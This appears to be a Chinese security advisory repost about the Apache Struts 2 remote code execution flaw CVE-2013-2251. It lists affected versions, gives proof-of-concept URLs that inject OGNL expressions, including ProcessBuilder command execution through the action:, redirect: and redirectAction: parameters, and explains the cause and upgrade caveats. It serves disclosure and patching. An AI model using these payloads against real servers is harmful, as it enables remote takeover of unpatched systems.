http://www.freebuf.com/vuls/11220.html
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Struts又爆远程代码执行漏洞了!在这次的漏洞中,攻击者可以通过操纵参数远程执行恶意代码。Struts 2.3.15.1之前的版本,参数action的值redirect以及redirectAction没有正确过滤,导致ognl代码执行。
描述
影响版本 Struts 2.0.0 - Struts 2.3.15
报告者 Takeshi Terada of Mitsui Bussan Secure Directions, Inc.
CVE编号 CVE-2013-2251
漏洞证明
参数会以OGNL表达式执行
http://host/struts2-blank/example/X.action?action:%25{3*4}http://host/struts2-showcase/employee/save.action?redirect:%25{3*4}
代码执行
http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}http://host/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}http://host/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}
漏洞原理
The Struts 2 DefaultActionMapper supports a method for short-circuit navigation state changes by prefixing parameters with “action:” or “redirect:”, followed by a desired navigational target expression. This mechanism was intended to help with attaching navigational information to buttons within forms.
In Struts 2 before 2.3.15.1 the information following “action:”, “redirect:” or “redirectAction:” is not properly sanitized. Since said information will be evaluated as OGNL expression against the value stack, this introduces the possibility to inject server side code.
Apache官方地址
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注意!
在升级成2.3.15+版本以后,会可能会出现说找不到 action的问题,我就遇到这个问题,百度N久未找到。
原因是: struts2 升级成2.3.16版本以后,无法动态访问action方法。我跟踪旧版新版程序,发现原来有一个标记,标记为true,则可以使用 xxx!method.action 的方式调用action的方法,而2.3.15之前的版本是默认开启的,而之后版本是默认关闭的。故需要在struts.xml配置里加上常量定义:
如此即可